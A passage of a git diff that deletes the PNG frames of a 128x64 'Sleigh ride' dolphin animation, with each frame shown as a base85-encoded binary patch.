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 RwzmKP002ovPDHLkV1h+$`q%&f diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_29.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_29.png deleted file mode 100644 index c6caf88d94b0d9536098767bffc4c66c4b9dd2a3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 812 zcmV+{1JnG8P)?aEn`=V06RJ#06u%2);$!TqlGheHXR&I21tN1jb6=91hC-v zo+yBAPcvtl0$LG4iBuHWEC&0GB!1olSRogEyf)evfZhoDlLcrsVian7HICmc3$Vfr zXK9S2M;Z<_8Zg4lnW}9J4*@%Zi+@;UvBY>WKxa2IVJo>49hn{pIocVJq{DNH~d&cdy39L27_9Y z@YYT&sUlykKvvz0APp~AC>W{7Y*A{fDFBHxZf6n9F3HQsPF)0u>?nd6v%W++c2xmL zoc+7PHP&h)0Ki^RfFr#IP%Z%HJ&yv=68<&xQ8FF@jN<|@jtjszj{@+u)dt;%L0Z99 zHd$j^0n`ps{CN4xmI7#{u-1>4Q?}a#Vw}3uo5WE>M}V4hddi)8uvTM`BTfLlWlxk9 z#MI8m3YQZx0>Ey}BvlY&z7xUS*PQ0h#4YIrQ3zfg%HKFsiV)ZZpmqJ#D%u>@EP&hi zQ7HS(or$msK&$fs=)*Rr2)26<;NV~pfacjh3$7^O5x_Vu06}m>0T+OAmJ7hwe_410 zFpdjA7_0XIE&$`W01OjCZ~<7y1z?nzjky2}lBVM9^#IN~N<}DQO2V8rBUMDL+DR9H qB5J?()q3U$7l1-2S8d+}8s`u2Q7b?iK{5mY0000%G@RH6aA}XbjzIR33VGc9!;*7sr=HG2TEr=w+Rw}J#8?u!0IBz1p z7+|&WSC1dTotBp>1MCei;FvSvDoh3$VB5BjkB2*D#3-~le}x@C7+~ABJ#w`&^4=99 z`ND!4&8O5#wQi^I#*QLiFjdTK1ZP zfa9%pXMdacr2yTFKq4Z|1d-Z+Xl&v5OE^QIy;%{WHkw9z22u{{_v=_?1L@nhen9j| z=bnGK6^H!HG?WWn>1 z>gjy#%UFT5xA3V7t8Z&4|GeO-ct!S+$)) z>vskjCa{(VeYR1nF|6-*V*+c*4gV(40%C&Nz_OiJpjkk&&^C6Ye+_qF0(8*#_Burn ztpj9xuU)jiY->3ku?{-p@Pg>7g<)hKX$HtFH2~^>qJ1u04NJ8hVOJ+wie2rY!f9y!BQpQX z`CH;NFv0*{AM{*Lv=u13MrEuVV`VUCM4WH258pfVEx?o{iq90h*j1 zK;N?ruN9jOIj7l~yn;D+u827#K7JMKIovaB>vM?_)L(-P1itpr^J-^DgTccab+9u0 zXlMs9B6?(kO)~=j`wUK->3kxw6Uc@@owI_&3aDkrf;X;3eYHMF4)v@xo zBLZL-W*8PJ-y+L;F44Mv&kBSQ?8S0MIG<>60PI4IV$h=h-ar^t7@nCCBJI0$IwAme z;RETsR#=Xh#u*qP8ziz{i{6I@z&^-8IzP(!))*@oL4R*?ekM4k1b|e8=vX=*i4}|x zEeK`bnzOwC=>9KatVtlqnt;F0$mmvB`py_9;{2#i=yiL@K7co1rofXpi}P0kF@l8m x%B{b9tT2oLv|<@Xc<>2}5#;>{+;v|B#vk{1sswN{smTBU002ovPDHLkV1h3f3a9`8 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_30.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_30.png deleted file mode 100644 index 8710e1a0a96e97627d7f0938515217a35defa493..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 536 zcmeAS@N?(olHy`uVBq!ia0vp^4M6O`!3HERU8}DLQk(@Ik;M!Q+`=Ht$S`Y;1Oo%( zDNh&2kcv5PXWi~QtiZ#Xc=iAP)c3-nBBkcM7RL(G?yZ)pws;bD_Ka6j*4oY9H)hSh z$r^L1k$G|)3fnD0Scemq{ls_4=-(5G6>5ajkV|uSO zR9|r1$o$d!KksJV{qAxZ?YO@+F%7cq|2rp|%GFEP_I`XJxZ(GQ+qZ14-?(?F_Va!@ z8?^)P4(Ho^J@H*y(8lAxZG%<1;GU%wE(}xe-tVaR`1xPM;h*()SOcW%OzsI4uviFc z?p@BZj%ma1#~&s&utZ4kbKYS|_WHoUJvTVg<}8D!Pglo`ylFvNzjmy>`|2M*fb&SbRsVP^tleqWl& z5Vv&u=6$AiuS;`<8r*BEUtiz!Y}?Kw*BL9W#3%og+TQbUHG|AQ+igiJ<~o-$@cozk z#FOQ`g6qITd;eUHcIJW~=gUl5<}1&?^YFW}(z1>pKc-)M#2`~Q-_ErlgL#F&Wz$-L zE~XDJ-rv8cd61W3bKiqx2D!hFXSzRNYxr%>(EqRSsVAgBp9kDNL6Br*LY(r+3NZkcv5P=bX+vY{0`Z-Sz+f=~tZ3qOI3bHq_YK zGJe((W9VaTNM?Kx!C*luGeSja-n>J)Ae{+~9RXMGp9e7?G@QDsuPV0S)v`DHJ+&RO z-7X_r&4Qg+o&y}`a@-h_B>^2Rh9|=oT}B26!PR2 zN4hnf3v0P*xaEQM%kK>CC5qqH)t*&f`*-dprk=S8VxQi4Em^}bckhMm--R{x4+I{) zZ0%Ud7o diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_33.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_33.png deleted file mode 100644 index 94b79d2ed9aac30fb2e73993906569b17f80079f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 897 zcmV-{1AhF8P)cfKZZMOCo}i?TbIa*qCpZXK-ys{c{8fAxT&PwBKpa{;3xIuUfjSa9;#ss3kyp#qCG0HA!nr2mYzGx=lVn za0kHe;j87dIf8_cB&-AAnM#SEcR%-n5`{5;?@B)L6s!aVz(gaFB&c#KoZo^4E^3`RRd^5;4rKt?gXHn zNmPM|*XA8H0yUNhxDtT0>TdMz#nri$Bj9n~unTY_0O?H91idE&%bD*ad_QyiTftNy zM^2zE4tqkFae~N&-zUSD7JgYCZeYn0Ag$Khy;R~QZF|qvw&^W5t*=`PK!8m(0GC*c^`5KtrR_&s z%GTd)H9)8$P}-ilheNxiOb4(YL}x3=F>;VqL_hh%xDY@?o6M6oe2WXX`ZO?7b=|g+ zQO4WDl>;=SHGr3)b0Y9E#vaFyf+>0*z~FmMBUuJKj{A#C0RZ&>8%S@qNvzl+_}U_n z+TmD@#R9hiXy8E292(68-|{%xvcFke)&O5dpY2=pDY<`Dm`>L+?i~QY{_sUQ3wO-Y z)2E6d1kkV!5+{V6Njd2N?w0_7eaX1(oL_>ggP_yAmVAH|z<=Cux~Cz80CvyFmqhRn X`cZE4+77BK00000NkvXXu0mjf+t!%6 diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_34.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_34.png deleted file mode 100644 index ce0e210f4f2202902eb5e63bb6ea0de06f4d7e92..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1490 zcmV;@1ugoCP)(^Xn1&= zKJWX!<3sQ~&(Znj)@0}XgsuH|djVcVo$v{p-vR9j@H|iI1fEulu4}LWCqUL=Rd%vi z6=X+Ex|84sZIH&z$mVt5tcmx1Lu-AWr)@}r6JTODf$9v;Gf|RsB|-Zf;08EHMV-fy zq~l@uBfw#FBf${@yzhHe{vva0_oAMm6A6wgz%3$pH{7$fZzI7G0??AKV={CD9Y}CA z1ax>{2`eeBbs`CTyWep<1au^U=1^(9XcfCfglknmmoPw2{#vik@26uD(?M zYGNt^`p`U;9|)lvDQ&D3SF4pGy9FH-Y$E#%$EyJE^@?O`stW2=Zzp8Q*y3G)=jF?; zqYy86PT0)a_y`5?fHHY4!Lkpjm3nA&3JV^T5g@zC(#e-Ha?4iLDXp+|V-0N;K>9jH zESFgAa-@__tfWNM$Pj%8EeOEX+}6pLHfX({I!&wfEu45woWbtgB?Q=sv6cdGO29dN zZR2v~sJ2Gh0;cnR6Iv+1gva?(S5Er6+Kz^S2r9Dw6UqW_1xHVRq&qn8r}uJB*P2eA z)1O`YNu@v#1gZcT=g+U4#B*4iIg&z1*}ru9wS2+~1Jy5vs#V}>2w0sJ`9Q`xetlVD zy9`I?)5eSD%z@?^R$hnPG55b8YU2+s(^Bihdk&+GfjZXp1PFHOG%j3 z2bkB;Yn0ZVIn@#8UsV8l(yFl9mz=28|B~~o$~10%Z& z=WAr}K9d!Wq{@JEvZZQsT-AQ3KM_{8F!hu1kA9Yn|HIc8#D6 zqy)|zVl3x-a}_PKkB;HiBbA`sSjnb!PX=3`3EWYENOBgDKTl&uQiG@}WOEa3tcHrj z_V~xbwZ(fRQnG0^bgZ$KUF~E_G20?R6r8f`Vv7LL2eM)!Vq;dj*6H`Iy@CYN`aEdS z2iOIz-`5ko3y(d^`JPOiI#bK&5ehKpL1LQ#G|}Py%xjiRuZ}~2Bf^doJZt0fk6jX= zl#&DdWe}IaQxc$AY=IKNl5)>I(zP*ohgpfH_IFKPb^%KQBP9)osz%2OPmbWJ8a#1a z>Qh*@HPEoxh5(4zHtmd&>(E8!=H`j6-J=jz;^!?prNs3k%RmW~(O&0Bm4!FE_l(OB zTyuW(86aA!6-1Ew2=vu_Mk{wb^{&UZWN#PQ6Y3eqm8yvK zbLC)oU(p2M8X+944x0D=F3^bJsoS%p*d;+pA3$n&>_{LYhE~Pl)h4HUl{vtiQ)?Ef zV=EMZ`w#0L-;RFHJd&a1hb0j(up{i>NCBPW*xPIb9@8UKQDqH3d0??9Xj2IDC sbaVa zMNY9&gk-#G{ zYzvVABnR^vt78t{aej&ez1IgCp}eY&Mjk36sjSS4p(`u-tBk+H?&NEI;JbmS60G_G zIl&cg1b2?)yXHpq^8Y9pMQ7w}KU+9ThZvdNhSYv%C%7A5{6X|o$x^uG7-%1F$=2Fj z#V+3khZJBPs!(_fM)NQNqz})bk0p~Ib4!l%lNsV|HISUZGQM_=&`UTT}ALTHaYwrz;h7PMW^UJ1eM9#(y^lH z0F7a_{|PWtz=DSzyhp`|qR~qYDJ?{cJkR@rZYFpF=A3vJkclqOV7!l()1{pOy3fFp zx%(MH6>EKN2B4i5v@IO(x7yPpO_R@Sfhv~lt80Rtz;{Js1X2JO!k9xkE$kGGf70g6gb1@8f0INEj4`zJAh zE7FDS^I;dzy-;aCkG|(Da)!dK!jXi<5=!ozz17wvGiO4LyOEn0U?Uh64 zQMvM30_E5Ux*|Ny0F`K_i_mrgkujolt3_ml2`nR8I~BxS60V4J7XxHGm*;RQ96hIt z_Q>Y3X|!c`E}%DJ&B~T{VT(#yfr_Qas~W{kc=z75N7S zh(^EFKAQt6duX7nqNN-395IV0Vj@f+_0Krp=?w5!FR>G{OuDe-jZt%)NPphm8~L4) zC#9sT8Q@R^b{f`$t}#*0_4e6;juDg5^>mMOy90Ql)=~;;j~1!P_eM&j{h7{y^w7ot zROx3rf=01Xa5;!(EhoD>@}o{+IZK)WBt>?@%7a#4PkWT(t@a&E5S4ePGkDjN`aM7v z-1zJBoO)HiK$WaH3zz4S?^Sx``_AiHCx1@Y>ROM)0BbRpvUyv{AiNE71a1szoG3GS z7=b>kGQktBYpsXZ!4wizYi*I@k>NAQrX}udS_<01I33Kub(Ug)4&{60B4f}t{8?o@ zBrC!IJ6@^YBK=eb=v2H1C^EYpPf7#)`3^>n(m7wFwT>~sFM^PAJSm_G?#UVFi}c}X z0X^TrxZcR8Yl$$z$5Aj+NJhC4XybXuk{mYDUus*S*DL7WT9bL5^YecMSqk({zzd{& zkMTY8@G_TY9aJZGM|$Tx4zGiyMQe(!ID*AE5+n+bj7#N2`>noL89mBoAqL=`EoD_F zi6)#ur7x8+M&1#2k8n2wtVLOQg-@=c%&Gx99DvFi;~GXls02ZDe0mN2gNQlt{|!dp zd-HD=oyH%-{?VzY-&(VEUH#}a(qEESW`HF$62W{C=zG*AYQU~^lkFQFV+ j=ym|Kh+pJz1ta_c)_1ni5SD6$00000NkvXXu0mjfMD{rX diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_36.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_36.png deleted file mode 100644 index 1aac855834c50765ba9674b304504ad9a2ed2d19..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1538 zcmV+d2L1VoP)pZ zz;5I3Uf+W!9WPx5cn`dRW3Gg|Fqz5#$8ntgS$I-LR3YR19dA0nkJeh_*{unSMp>1dA8d>;z+W%(5#G$#HbUp$ zr9iq1Mr`>}0|0zxZie>xrX-m^?8gEBe+!^Y006EdK@?~N5#q-H*TDe*4dCpsUiOND z6vs>BuKqOfO#%8Y0s#Ox6L@L^fZD?Gn{b6d`@@X@^S&LsY(Rbc$2$Pd zbZ%|3_ri$Y%WN_`_Xiu)rthZ!DQm4v9(h}6jgc7R7XxTrWKudILmqLiUZL*U0G)BsX*72wptv5z-et?qu#T&EPax zaE|rG5ywicwT{(qWqwrtQ_x!TeGA}y8WUJg58f9_+WOXbt`zMbapsem0R8t-18@WK ztmWSfD5wLetlpbKx(1i!VFKxCf$y_dV@TIeV*+lc69Y(Z0eepbR!tx+Org~nUM09J z?KQS%eh*Jz0?j@jKL`Pc(KQP9qIb+>*Oi>^2^Q_XCz!5|o<45|hz5XEFpi9k$m8=o zPUqvZxI+-QoKD(TU*s84BhY$4dhF8*Mz3sMcUb$5)C5v{)tW#&+r6#C003)_0j>mh z(x|~_7IeGWAmwb00i-j|V=!Ln_rNor_hCzAMhz`JRalvyZBgzDXiqyOEs$RXjb`2m zO-kACWdu)QC>4IAunNghlsegB0L)@;_|>2r;~8tQjFstDHDA$M>t$`gZ85!VY`3FX zGn!>mR&fLM_S$Plb@QfF&5fMqmFu4oooc2#98U1Mi3aEz`K{uU5{r3^K0YyY18Bg$Lr@?afx#%e}DJ!nhym63cwZnO+$F@Q7<;2DfS_tUdWx0Q~7p0OmOWQT3Ik-%^%WUCiYwO$mt%lTAW&S* o`8%+b5oR3$tFq?FSiuPY0nQUmgswmI@Bjb+07*qoM6N<$f>dYDyZ`_I diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_4.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_4.png deleted file mode 100644 index ef5e2fc53b5ac0d5110ccf4c1b96219f6c65516c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1668 zcmV-~27CF5P)e^kD*EFS~Lv9sEdDqpe=U;_ir zZSQKW_1=3MxUQ>xkw@?SQG579o!{EO1@L=M#3!ub4*ZO0eNxmS*s-3|vL8u;Uj{gZ z3BH+I2P7EZ7+`k<@79mtlY;c>;A)=Wn4K8gIQHqZa-czFfCwXeQbtrEb>`jQ(Kdxoy(DAe;R}A zUf(nWpqbA{>FB5#M-BY;47HdExKIyZeeQkssd)ODLp^}?xrXta_wS26xLRwywbw}I z+3a0M?zsjXkU3~g_11R6T0H!|3br!cyB^>_N1Q+UgcF#d>fMJo=LF_^>j7GOJ=12G zU?B2N;c3}~I`1^QTYF`=AN~RD+Otd$*&Hp?hYkD$aRMUWpEx1QIbN9B`dt9(REZg) z&!GBt2ZPn;Jn`Ck~>`s0`H!+ zNi*-;t(R62-PB&x))ULXz>h!WKX{MOn*W}_LnITk{eYE)k=}*&M*P0^PF{KwdJ^F8 z1Bed?YrS=fh-^^RIbB1fu|qQaROh!AWB?A25eAUVMs*?1*G?7awdGK<k<~0ljyu z2kk%Y}RWx3bEUPEc3sr~NuSf?jrrC)11Z?F zo+Qfzv(7&uc%H%n0M>m7BhgA+}ogeqD zcM04k=^P%-d^%Pi;qGPuZC@Y;Ksx*kBu1e3r3D~%X>w=mMBZUY_r1Vf3Deoa=$3#L zfsm1DJ!6#_boBIiPR*>P3Nz~t|G$9Bv$Z7)>AQexy&T2!JW4lMy-w z4u#bCNMn{kG&m|YgX-1nuP856Uu6D@G5jKkH+9}z3(+7MjTzS=WuZs+(#V@#K1Z@A z!Ytfw3s3`BFs9!GA`9Rf8I>_0Ii7wdWwMv)+DL8JbXn`AbEW4k+~xFC50FK)re@?1 zdC`W?v)Sq;Bw3a|OJ>ymBN!ly>UfhjcwF-lVE`*wc!`i~L4s^m50e?;Ca?;Tx{1Pb z4Ao6-@XCay%d>^sB|Wn{^S3d;3V6N70G;DGzbZ(15NHANF$|F1zzj2Fby-1>k%#Kz zh%nNs@ht!>`a>2(Hy1@@uB0mq&-p9Lm82K#U6zcUtuWfecpE0wI#iyeAF1^cyn3wZ z@UEk_dOZM&*&q;)fe|X?bFIzP0)#I*TM8o3?BG93*V;YHzDy8kLE#0<6az>GQo-mV zwQ{f`!y}Ak&DR27S{pJCou3)$T9Er82GHO!0}=!kS;N@`k)35VZB0>DSP=x$7?m43 z1$eYbqfpuiYvVk4ay6SY`z=V!<;k}KgUaQfS2{m4ssX^WK>Jw=0%=36x}^ogOkcp| zWuDKl*X|(Tc24yG7BbGsI>M4=1yi)_c>1U;UV@NvU_B!xRz*+XjZ?o3)Tr`qP+JBl z^Hl1%F6@8#NWsY=B~jM-bgk12AW=RyRGWVnq$ZFeVoSz;lmXGKr=M43zILCF<{yZ# z7LN1-(k4_vlNr$^Ie=bgY_OVK?fyW<>7H%NdH_wSW|-8h%<4imU$arOlh3g*8-P?7 z>U65RqH$dEg%B^3DoTdM02Zvq4b@BKL~OI>dQPv9Cyh(K51>)1R|6|`TbN;?NV!1t zP-oLo3Wkb|zl8xfyk4QA_D1cgTDDc+?^sWy;giN&z7W#8{Y_%}Ia+_SsBTC#+oQb* zeLgx;8Ambz2ihY@bFxjACa)UNE?v9!o~v+v`6(a@@6;e6+PQl*yP6Rsn=G59AV38cS7A*m7&a@-dN}xTC6^tvK|H1$f>OvNiLFK6-!Y+3OKYDT)bCx;X z>j9#MRs+pqgwC}M9oWHqXmGA_I@|+1B@if1qJ9rvAm1^D|5E78oGebH^GbL<&^87@ z4Atg%^D;P%&Z~o7>w&g2Kz8A)Sm6ZcQ>+YxqZpuKL7$9OfiPsQ2!g+^GYZtf-cH{D O00005Az&DLY{*`% zwcdMg*LAhtduy$=>$(~Sz7PM$zv;WU4F}r)5BK2#WC4+sK#5Eb(YP&!_q_^MjPVV4 z069QthH!8m+?IQPC4MU73xYQV@OEHDKXnN1p5{zHjDaTz-V^|?9KlkGpwFxM|Aff> zCMUf*Gn+_$S34&~;tAxA!YT7*6=0NyQ&sq;$gz+i|Bm%}Q-G1=vx71HpAaRxqoOt+ zy8yswVzk;}HojSTs_OdSiZ{y{yw0&pbnjxv4A2xF#nVH6*1J4A18@J|Okx$4wRxQb zXj?qbV44xyJ6`9~4yk^~;|b(&i>saedx6_WzZp-S9 zK0LLDT59m@8nD!iP=o51L@BlXXNOT0;G?lYW_4?)9YSTdp7@^Eo(fL+3J7>a8sj34 zn`CzKBmPDJY_rJMj z&_(BJ3F$p(Zygp{AGAg*!3pTSfBroHJjlTNzIMb+9Z0GJB8ODjd401Iz&bzZ&5HL^ zMTj2xO7e>d#5P*T)7%HH|EvT!4ZhY}+67eA!0N}U_&FtzCS;B0Eh4QsoD5E3uj`6! z11s=uA+r%!ElBCO++t~V?dT-ZJn&UL2pVlnYrfM(4?O$)NMS0e5%;@d_iT7b$Jb>J zfDLS|zGxXjyt|Xg3FZ#uM@hd$0W`xUWKR~kF(SJLcrP-}YE($a*U(AetO;2Ad<)u+ zgUjKWa}RD;v1*q<#~Veyx(mRVxiyluX`{x`>Htq+3h)${+EzA-p(Ixn07vPl$ypPh z(H|wp+G5g3$M0$VMbj2%>niel@9`8c+X*TQD1poWcnmro*N!8{`W>k?R+1i40BA_% zaEC%D0vhc!pHpxV4_7Jjx!-u~skwY+4L}!#POJhck6P`bV^CPcd*ocJ0koQf_J8N~ zNsZGcJX)H)$f%7~z-gGh=wRR7gTwk=tol{PrLsJ$Tt z$U>8EDN?lv=7^G%ghs_I+#UH*CxNx`v`;%gCYm(jX}ijEjBM1?K2}Eh%B#x(Bq{e` zW@LInYXN}QIqoJYlP2&SOA6qLSgyS#@v9tzrW9}5fOb2O>bZi=QKbr{04X;&R&4^{?fk+mWGmYamBQ%s$>>( zHR)Cg^YpjuPr_av$B+%Fz}tQ{Xb#1Sb$5=Z>x1u0wZIk%fFY$6DX&>6i0glrdaP6g zjOg6AQveKzDlNkCb5HwGu$*U>B0zuC25gHK@mYIrQ2+`Y;T!>yBH(+tZDdN>NaNnm zM0R%E%J^^B9UK5)Nj-HG4j$?Dw2vaHOfw3?V-j(f&CZm|)2s4&;B>CGZ0EOlV zbRw0$wC9zAaz?>8y1%U*0KkzWElQ>@?m0$viL5areLz3M3eXcA0KgT4ocvcEp;{PP zV?v*IMEsEoKrvFzt-^9v9+&!FLHe-@KrvFzSCKD`xhmqnLIEgd$@z%f9UW%{=~EP7 z)na*V7#Y#49RbEVQUP{y1dNk}ZmA;7N&!1K!s%F{2!G|LaRgS1$SeQ=002ovPDHLk FV1oG?)rtTB diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_6.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_6.png deleted file mode 100644 index 789eebdfaa25f10335d19e85b2162518cd947a34..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1521 zcmVGwk@m0LO8}3Wpm+_BUaMZ9W)) z4rI02NIm;#`DBK|wN=-6j4?*VsQ^9`Xk*fTT;|6vc}z1vH1m0z2^z`iQvWAs>nhA7 zO{xa4o?BTxGu97lk*Wc#=h{Bco#{Cj=kY#2^xy!10q~i%JUhMX(!|0Tm2p?F#a+(u z9eDp3WM#T{OiUhB7jXl0*e21!0UM^wLGFxYrm4{5e#P6yf3M1;<@f|2WJ zF#(tVohTB&1_Jn*nynck%;DX$GMvlos2lEff-o6?gVzWEbEgN1DLh1-kIyrwlMXhx zlk)+R4DhFOFten75f-r+B4cO_w5XnUbK(qA48Y+rg4TNP5h9r#)s4>;d2jJ8b-@^8 zjsZBbHG(w`&ssWmWZ$>+$>{M^pdF_eKpK=X0?)YUdjsxd?l8@H{4}6d`Bv@mWG0}e zpSPVm89;)Rh0*r}8WTu$fL1p|b&AN}8InEQ89x@jBvb;yI@3$zdPer@22Zw=)y@utDW}sKKsw876Gr4DCHZ%4T!6Y^X+0pZ zjaKbfTby$T=w6O(hx5f6AetqaJv1_AlwvE}K(&8ld~N%fMXQr729PF>7%5}O$e2_y zO*Rv7niFO-pPvq->uQiK$?z-#oDC_f0QxdF;vi2(%Y5lN!f4x^9btg0p*uc#9fRNL z2k&dGmif{(UBlA7{4NaOWwe)FyYz_2ST%sO9q^zy-TAv2fbQ`fg;Iwe7O1Y-8bEu_ zbvV2IZ-s#)pvI|Wc!e3N^U?jh!{|6xBzPXh0JvCc*a{m|*dv;@IA^*MsSuDGZ<)1g|}Lsef0w!YLcSca}pt zw*@*M|L*o5ovRL@nq{*NqWvWnsIW-2Pq*`>akcxrJ?-aU%c0sciQ;DG%Z$aHh^Y4O zaJskN(`x_?R&8K8c_s+7u{;?~H_0g;X7~8naW2CE6d6k8R6bK!(z!M8xmGwK5>(lB zUY-Fc_}*M`@a)_ccvX$}x}9wmjN1K2FaU?e2o(nCEFd*q0pg4xp{n03BVF>xpfU76 zL8pew?!Ogy!GpS@Y^240w9WMItO+j303048P;i-S_E+~_ss9Sow$~ze2mpi@2o?)O zs9Tb^=E@XgbllFuu&o9Fi2ZBWl^_+1cr6)8g6C*Hm(;haZv`uy|G@xJ>grfb7c`^r z=g~q@lbzibJbia&e5eM9819OJ;AL@y&NVhcbgVZTY^$6et^uAJ2ox)+--ESXZE=3| z6!4@#=%VvZaMsz{Mgl-m)RXb#c3?G~cL)7t8KAoGtFXdqI$sqCmt%mA1w9#eWQ6|# XYhRhvxX$)N00000NkvXXu0mjf-Ye1b diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_7.png 